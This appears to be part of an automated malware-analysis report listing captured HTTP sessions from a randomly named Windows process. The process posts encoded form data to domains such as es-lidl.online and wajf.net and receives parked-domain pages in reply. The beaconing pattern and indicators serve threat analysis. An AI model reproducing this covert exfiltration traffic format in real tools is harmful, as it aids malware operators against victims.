3d Data Ascii: tpTd=WMwPXkgP/5p6ESPKjOuxNs1K29QwQWAl25HBQO0CSiUilxJOb10223KYEUbw0C7cMRj3dikyFbkaiJzqzeMhnMLWz+V5btOcG6WSpZ6haL5c5nXGqugR+Uu4/N64wN3C2BjVn9IImcHvfHqv7TOuiac4FvD1ROiwZ293cJnYQoJPz/mofGq71sBIpNLJV9MRDvnvBLb22Inaj0dWgA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	60850	84.32.84.32	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:22.838145971 CEST	1774	OUT	POST /n2dv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.es-lidl.online Origin: http://www.es-lidl.online Cache-Control: max-age=0 Content-Length: 1229 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.es-lidl.online/n2dv/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 57 4d 77 50 58 6b 67 50 2f 35 70 36 45 53 50 4b 6a 4f 75 78 4e 73 31 4b 32 39 51 77 51 57 41 6c 32 35 48 42 51 4f 30 43 53 68 30 69 6b 44 42 4f 4a 6b 30 32 33 33 4b 59 4e 30 62 39 30 43 37 42 4d 52 72 7a 64 69 59 49 46 5a 73 61 69 71 4c 71 30 76 4d 68 75 4d 4c 57 75 75 56 43 47 64 4f 4e 47 36 47 57 70 5a 4b 68 61 4c 35 63 35 6d 6e 47 39 73 59 52 74 45 76 4b 76 39 36 38 37 74 33 6d 32 42 62 72 6e 2b 6b 59 6e 76 50 76 52 47 57 76 34 67 6d 75 2f 71 63 36 43 76 43 67 52 50 65 52 5a 32 68 4b 63 49 6a 2b 51 76 46 50 78 59 50 4e 4c 6b 79 57 73 65 35 55 6a 75 6a 6d 4d 59 51 77 46 39 65 53 44 4c 7a 35 33 6f 36 46 6f 6e 77 67 37 46 31 51 44 52 63 53 2f 4b 52 6c 4a 30 58 33 62 69 44 43 51 37 47 78 79 6f 63 52 62 63 47 5a 30 68 43 4a 47 6a 52 2b 4a 32 6e 47 75 31 77 71 43 42 39 6d 79 34 4b 61 73 4a 57 54 66 55 66 6f 65 51 34 6d 77 4f 34 2f 38 57 78 77 32 34 57 32 43 67 6d 55 6c 49 6f 63 4b 53 38 5a 58 6e 76 49 48 68 38 30 78 34 34 44 48 6d 76 74 43 6a 68 59 30 51 4e 67 62 38 31 49 32 56 35 57 67 [TRUNCATED] Data Ascii: tpTd=WMwPXkgP/5p6ESPKjOuxNs1K29QwQWAl25HBQO0CSh0ikDBOJk0233KYN0b90C7BMRrzdiYIFZsaiqLq0vMhuMLWuuVCGdONG6GWpZKhaL5c5mnG9sYRtEvKv9687t3m2Bbrn+kYnvPvRGWv4gmu/qc6CvCgRPeRZ2hKcIj+QvFPxYPNLkyWse5UjujmMYQwF9eSDLz53o6Fonwg7F1QDRcS/KRlJ0X3biDCQ7GxyocRbcGZ0hCJGjR+J2nGu1wqCB9my4KasJWTfUfoeQ4mwO4/8Wxw24W2CgmUlIocKS8ZXnvIHh80x44DHmvtCjhY0QNgb81I2V5WgjpfiiWroEhUw5Lxs2nO22XgD6aXsoqpy5fTsTpJWeZhuAkmZEuV4LyG+tgitkFgUMdRs0awJVmkxFXM9e29czuUrFGqxndTeccA6BBbOqy0W04XpAIXKaTsAe8bpNrVYi4aU5f0cFbhm1QOlYZSuBP3LsYv//2BMZSXDmszWaPxbk9KpU0lCObXlp4Np/ZDQi0H7jYGVXV4b0y5rIokMnOyIGRDR6w4ViFJlTXNIjTGbKHtXFrGb6XW2L7FgYX/dVGJmkwm69zx7ky5rAMEx5g3dRW5+hfRGIelZ2ywVGXEdVNNLkn99K/xY72NA8VqWLzlDV/EXqQMQQ5M/wFEjHLdTvwsDdLupRudTE0Sqgd7ilvxgm1n/gyKNVZmvYnBLntWH+PYJ3V7slazEBSveP7IB3dFoTH6TBnOMoscU+edp/w9JWLNr5wkxP7LsiAQYkotfwc4HWCPM/W8fiUdyBjbym6J3Ix6YNE3dW1woU+ImafN/Uv58aWosemi1acogHxA9FoP2gWBTYy94vFO5/XHNBIhbwfzZN2lebp6Bc/Q6mbA2ajjkWR23L02MMhBR7kqe7mhW9BAvW6hTT5cLut5ZWd/CpI+v3ApCckuAbA6mw8bourFGxspsbIPzxJfJx0hk2HH7uV0IJkn7Mo+ytM2OPHKFBcn9y4 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	60851	84.32.84.32	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:25.378170967 CEST	475	OUT	GET /n2dv/?tpTd=bOYvUT8qr4FCBQL4q+W2EOsk7MURICY42o+fYfsEfk4vvxNQfURJ5XqGAnjP2wivb2XfCAEuS6lNjanH3pgkh9rgu/pEJ/+PKIa4gq6/Dbg2n2byoA==&WX=rnWllP5PLlhLLtj HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.es-lidl.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Oct 8, 2024 15:36:25.860763073 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Tue, 08 Oct 2024 13:36:25 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 588b82f8782d10ed1e8522cb380a3e32-bos-edge1 Expires: Tue, 08 Oct 2024 13:36:24 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Oct 8, 2024 15:36:25.860809088 CEST	224	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:3
Oct 8, 2024 15:36:25.860832930 CEST	1236	IN	Data Raw: 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 68 33 7b 66 6f 6e 74 Data Ascii: 0px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-weight:600;line-height:28px}hr{margin-top:35px;margin-bottom:35px;border:0;border-top:1px solid #bfbebe}ul{list-style-type:none;margin:0;padding:
Oct 8, 2024 15:36:25.860857010 CEST	1236	IN	Data Raw: 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 7b 63 6f 6c 6f Data Ascii: align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-bottom:16px}.message{width:60%;height:auto;padding:40px 0;align-items:baseline;border-radius:5px
Oct 8, 2024 15:36:25.860876083 CEST	1236	IN	Data Raw: 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 Data Ascii: -align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0}.container{margin-top:30px}.navbar-links{dis
Oct 8, 2024 15:36:25.860898972 CEST	1236	IN	Data Raw: 66 6f 6c 6c 6f 77 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c Data Ascii: follow><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.c
Oct 8, 2024 15:36:25.860920906 CEST	1236	IN	Data Raw: 6c 79 20 66 61 73 74 2c 20 73 65 63 75 72 65 20 61 6e 64 20 75 73 65 72 2d 66 72 69 65 6e 64 6c 79 20 77 65 62 73 69 74 65 20 68 6f 73 74 69 6e 67 20 66 6f 72 20 79 6f 75 72 20 73 75 63 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 Data Ascii: ly fast, secure and user-friendly website hosting for your successful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=co
Oct 8, 2024 15:36:25.861382008 CEST	1236	IN	Data Raw: 73 65 71 75 65 6e 63 65 22 29 3b 72 3d 28 28 31 30 32 33 26 72 29 3c 3c 31 30 29 2b 28 31 30 32 33 26 65 29 2b 36 35 35 33 36 7d 6e 2e 70 75 73 68 28 72 29 7d 72 65 74 75 72 6e 20 6e 7d 2c 65 6e 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b Data Ascii: sequence");r=((1023&r)<<10)+(1023&e)+65536}n.push(r)}return n},encode:function(o){for(var r,e=[],n=0,t=o.length;n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fr
Oct 8, 2024 15:36:25.861398935 CEST	776	IN	Data Raw: 6c 65 6e 67 74 68 2b 31 2c 30 3d 3d 3d 6c 29 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 66 2f 68 29 3e 72 2d 61 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 33 29 22 29 3b 61 2b 3d 4d 61 Data Ascii: length+1,0===l),Math.floor(f/h)>r-a)throw RangeError("punycode_overflow(3)");a+=Math.floor(f/h),f%=h,t&&y.splice(f,0,e.charCodeAt(d-1)-65<26),m.splice(f,0,a),f++}if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase
Oct 8, 2024 15:36:25.861428976 CEST	760	IN	Data Raw: 64 3d 30 3b 64 3c 76 3b 2b 2b 64 29 7b 69 66 28 28 43 3d 74 5b 64 5d 29 3c 68 26 26 2b 2b 66 3e 72 29 72 65 74 75 72 6e 20 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 32 29 22 29 3b 69 66 28 43 3d 3d 68 29 7b 66 6f Data Ascii: d=0;d<v;++d){if((C=t[d])<h&&++f>r)return Error("punycode_overflow(2)");if(C==h){for(p=f,g=o;!(p<(s=g<=u?1:u+26<=g?26:g-u));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d]?1:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	60852	3.91.127.116	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:31.364955902 CEST	719	OUT	POST /eoqq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.wajf.net Origin: http://www.wajf.net Cache-Control: max-age=0 Content-Length: 193 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.wajf.net/eoqq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 62 64 79 74 34 6e 39 61 44 55 49 66 6d 45 35 36 37 76 6f 49 4f 63 68 32 52 5a 55 7a 41 54 42 77 74 74 74 34 73 66 70 31 41 43 56 4d 6e 53 32 50 71 6d 36 37 67 39 35 33 35 52 64 49 73 5a 6f 7a 58 36 43 4d 46 38 6e 4f 78 59 73 48 70 7a 31 68 2f 68 49 68 46 57 7a 74 6f 6c 6f 63 4d 67 73 51 45 62 41 2b 69 75 74 38 55 53 34 41 6c 38 51 64 77 41 64 57 44 6c 6f 67 44 74 43 4d 34 45 73 6f 6b 6f 79 78 35 6f 6a 76 74 69 71 45 76 43 72 35 63 4f 56 31 4e 59 4f 6d 79 59 63 6f 69 78 64 5a 4c 33 59 64 4a 6a 62 43 79 78 4f 55 76 71 7a 6f 34 5a 39 7a 6a 48 6b 4a 6e 55 78 2b Data Ascii: tpTd=bdyt4n9aDUIfmE567voIOch2RZUzATBwttt4sfp1ACVMnS2Pqm67g9535RdIsZozX6CMF8nOxYsHpz1h/hIhFWztolocMgsQEbA+iut8US4Al8QdwAdWDlogDtCM4Esokoyx5ojvtiqEvCr5cOV1NYOmyYcoixdZL3YdJjbCyxOUvqzo4Z9zjHkJnUx+
Oct 8, 2024 15:36:31.833496094 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 13:36:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 31 35 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 61 6d 65 42 72 69 67 68 74 20 2d 20 43 6f 6d 69 6e 67 20 53 6f 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 [TRUNCATED] Data Ascii: 3151<!DOCTYPE html><html><head> <link rel="icon" href="data:,"> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>NameBright - Coming Soon</title> <style type="text/css"> body, div { box-sizing: border-box; } body { background-color: #f7f7f7; font: 18px sans-serif; } .page { display: flex; flex-direction: column; min-height: 100vh; height: 100%; } .wrapper { display: flex; flex-direction: column; min-height: 100vh; height: 100%; align-items: center; justify-content: center; } .container { position: relative; display: flex; flex-direction: column; align-items: center; justify-content: center; width: 90vw; [TRUNCATED]
Oct 8, 2024 15:36:31.833519936 CEST	1236	IN	Data Raw: 74 3a 20 34 30 76 77 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 37 30 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 34 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: t: 40vw; max-height: 700px; min-height: 640px; background: #ffffff; border-radius: 1.5%; padding: 50px 5vw; } .main { display: flex;
Oct 8, 2024 15:36:31.833544016 CEST	1236	IN	Data Raw: 69 74 65 63 64 6e 2e 63 6f 6d 2f 6e 62 2f 63 64 6c 2f 63 6f 6d 69 6e 67 2d 73 6f 6f 6e 2e 70 6e 67 22 20 61 6c 74 3d 22 63 6f 6d 6d 69 6e 67 20 73 6f 6f 6e 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: itecdn.com/nb/cdl/coming-soon.png" alt="comming soon" /> <div class="main"> <h1>wajf.net is coming soon</h1> </div> <div>This domain is managed at <br> <a href="/
Oct 8, 2024 15:36:31.833554983 CEST	1236	IN	Data Raw: 2d 37 2e 36 36 30 35 39 2d 34 2e 30 33 38 2d 31 34 2e 37 36 34 2d 31 37 2e 31 33 34 36 34 2d 31 34 2e 37 36 34 48 33 37 38 2e 35 37 30 32 35 76 33 30 2e 36 34 36 37 34 63 33 2e 33 34 34 36 33 2c 30 2c 38 2e 34 39 36 36 36 2e 32 37 39 32 35 2c 31 Data Ascii: -7.66059-4.038-14.764-17.13464-14.764H378.57025v30.64674c3.34463,0,8.49666.27925,11.42241.27925,17.82941,0,23.40032-4.59656,23.40032-14.34851Zm62.4236-33.0123a79.44713,79.44713,0,0,0-13.6487.9757v60.17443a2.80457,2.80457,0,0,1-2.64818,2.92778H
Oct 8, 2024 15:36:31.833578110 CEST	1236	IN	Data Raw: 35 33 2d 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 32 33 35 56 31 30 35 2e 35 32 36 63 30 2d 32 31 2e 37 33 31 31 39 2c 31 30 2e 38 36 35 36 2d 33 34 2e 39 36 34 2c 33 33 2e 32 39 36 32 37 2d 33 34 2e 39 36 34 41 31 31 38 2e 38 30 37 37 39 2c 31 Data Ascii: 53-33.29627-34.96235V105.526c0-21.73119,10.8656-34.964,33.29627-34.964A118.80779,118.80779,0,0,1,581.4102,74.1828c3.20332.83607,3.76519,1.67248,3.76519,3.76216V149.8214C585.17539,169.60389,575.14452,177.95924,553.83389,177.95924ZM566.7858,86.8
Oct 8, 2024 15:36:31.833610058 CEST	1236	IN	Data Raw: 2e 39 39 30 32 63 30 2c 35 2e 35 37 35 36 32 2c 32 2e 35 30 36 38 38 2c 36 2e 35 34 38 32 39 2c 38 2e 34 39 33 33 2c 36 2e 35 34 38 32 39 48 37 31 33 2e 38 34 34 63 31 2e 38 31 33 34 35 2c 30 2c 32 2e 39 32 34 30 37 2e 36 39 36 34 35 2c 32 2e 39 Data Ascii: .9902c0,5.57562,2.50688,6.54829,8.4933,6.54829H713.844c1.81345,0,2.92407.69645,2.92407,2.08968v8.63763C716.76805,148.9833,715.93366,149.8214,714.11987,150.10066Z" class="cls-1"></path><path d="M523.55018,5.59211l4.971,2.86822a1.29783,1.29783,0
Oct 8, 2024 15:36:31.833632946 CEST	1236	IN	Data Raw: 2d 31 2e 37 36 31 2e 34 32 33 39 32 4c 34 35 33 2e 34 31 38 35 35 2c 33 30 2e 34 30 38 35 33 61 31 2e 32 35 34 32 33 2c 31 2e 32 35 34 32 33 2c 30 2c 30 2c 31 2d 2e 34 35 36 39 2d 31 2e 37 30 33 37 38 6c 32 2e 38 36 35 31 39 2d 34 2e 39 36 36 33 Data Ascii: -1.761.42392L453.41855,30.40853a1.25423,1.25423,0,0,1-.4569-1.70378l2.86519-4.96631a1.25738,1.25738,0,0,1,1.70849-.45656l22.19448,12.81733A1.30449,1.30449,0,0,1,480.24559,37.83394Z" class="cls-2"></path><path d="M490.17148,30.00412l-4.96463,2.
Oct 8, 2024 15:36:31.833647966 CEST	1236	IN	Data Raw: 2e 35 38 37 34 2c 35 2e 35 38 37 34 2c 30 2c 30 2c 31 2c 37 32 2e 37 31 31 31 38 2c 31 35 30 2e 31 30 30 36 36 5a 22 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 31 35 32 2e 38 31 36 34 39 2c 31 Data Ascii: .5874,5.5874,0,0,1,72.71118,150.10066Z" class="cls-2"></path><path d="M152.81649,147.59344a118.76528,118.76528,0,0,1-27.99855,3.62086c-22.42764,0-33.28988-13.23453-33.28988-34.96235V105.526c0-21.73119,10.86224-34.964,33.28988-34.964a118.86956,
Oct 8, 2024 15:36:31.833668947 CEST	1236	IN	Data Raw: 33 34 33 32 39 63 31 37 2e 36 39 31 34 36 2c 30 2c 32 38 2e 31 33 37 38 34 2c 39 2e 30 35 35 31 37 2c 32 38 2e 31 33 37 38 34 2c 32 36 2e 36 30 35 36 35 76 35 30 2e 30 30 35 32 39 41 32 2e 38 30 34 33 36 2c 32 2e 38 30 34 33 36 2c 30 2c 30 2c 31 Data Ascii: 34329c17.69146,0,28.13784,9.05517,28.13784,26.60565v50.00529A2.80436,2.80436,0,0,1,267.18568,150.10066Z" class="cls-2"></path><path d="M344.50486,117.228H299.0941v.42056c0,8.07577,3.345,17.68641,16.71576,17.68641,10.16713,0,19.78114-.83473,25.
Oct 8, 2024 15:36:31.833697081 CEST	1236	IN	Data Raw: 31 31 32 35 36 76 35 2e 32 37 39 38 38 63 30 2c 2e 38 31 31 38 34 2d 2e 36 34 37 33 33 2c 31 2e 32 31 35 39 32 2d 31 2e 34 35 38 38 34 2c 31 2e 32 31 35 39 32 68 2d 2e 32 34 36 32 38 61 37 30 2e 33 35 35 33 35 2c 37 30 2e 33 35 35 33 35 2c 30 2c Data Ascii: 11256v5.27988c0,.81184-.64733,1.21592-1.45884,1.21592h-.24628a70.35535,70.35535,0,0,0-10.48137-.56187c-3.81768,0-7.79988,2.1849-7.79988,10.6422v7.557c0,8.45056,3.9822,10.64186,7.79988,10.64186a70.19544,70.19544,0,0,0,10.48137-.56826h.24628c.81
Oct 8, 2024 15:36:31.834307909 CEST	421	IN	Data Raw: 31 2e 36 33 38 32 34 2c 30 2c 30 2c 31 2d 31 2e 35 34 37 33 33 2d 31 2e 37 31 31 38 35 56 31 31 39 2e 32 32 35 34 38 63 30 2d 31 30 2e 32 33 39 38 31 2c 36 2e 30 39 34 37 36 2d 31 35 2e 35 32 31 33 38 2c 31 36 2e 34 31 31 36 31 2d 31 35 2e 35 32 Data Ascii: 1.63824,0,0,1-1.54733-1.71185V119.22548c0-10.23981,6.09476-15.52138,16.41161-15.52138h1.9551c4.55047,0,8.204,1.05814,10.72429,3.25111,2.51663-2.193,6.25256-3.25111,10.80638-3.25111h1.9514c10.31719,0,16.412,5.28157,16.412,15.52138v29.16333A1.63

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	60853	3.91.127.116	80	1432	C:\Program Files (x86)\xBbXuaowsrbzEUmmJxCknSytRFWIpGxALalWIlZxd\auuGcaPMTDojV.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:36:33.909727097 CEST	743	OUT	POST /eoqq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.wajf.net Origin: http://www.wajf.net Cache-Control: max-age=0 Content-Length: 217 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.wajf.net/eoqq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 74 70 54 64 3d 62 64 79 74 34 6e 39 61 44 55 49 66 30 30 70 36 33 73 41 49 47 63 68 35 64 35 55 7a 62 6a 41 59 74 74 68 34 73 64 46 66 41 77 68 4d 6b 79 47 50 72 69 75 37 6c 39 35 33 78 78 64 4a 78 4a 6f 74 58 36 65 69 46 38 62 4f 78 59 6f 48 70 7a 6c 68 34 53 77 69 44 47 7a 56 6c 46 6f 65 49 67 73 51 45 62 41 2b 69 71 39 61 55 53 67 41 6c 49 73 64 69 6c 78 52 50 46 6f 6a 56 64 43 4d 38 45 73 7a 6b 6f 79 44 35 72 6d 43 74 67 69 45 76 48 58 35 64 66 56 79 55 6f 4f 61 34 34 64 67 71 68 30 42 4c 77 45 6a 57 77 58 68 79 53 71 73 6f 4c 54 32 70 72 30 6f 32 51 6b 75 67 7a 34 57 77 33 38 79 54 6d 36 61 2b 7a 52 39 36 5a 77 65 67 34 55 63 46 41 3d 3d Data Ascii: tpTd=bdyt4n9aDUIf00p63sAIGch5d5UzbjAYtth4sdFfAwhMkyGPriu7l953xxdJxJotX6eiF8bOxYoHpzlh4SwiDGzVlFoeIgsQEbA+iq9aUSgAlIsdilxRPFojVdCM8EszkoyD5rmCtgiEvHX5dfVyUoOa44dgqh0BLwEjWwXhySqsoLT2pr0o2Qkugz4Ww38yTm6a+zR96Zweg4UcFA==
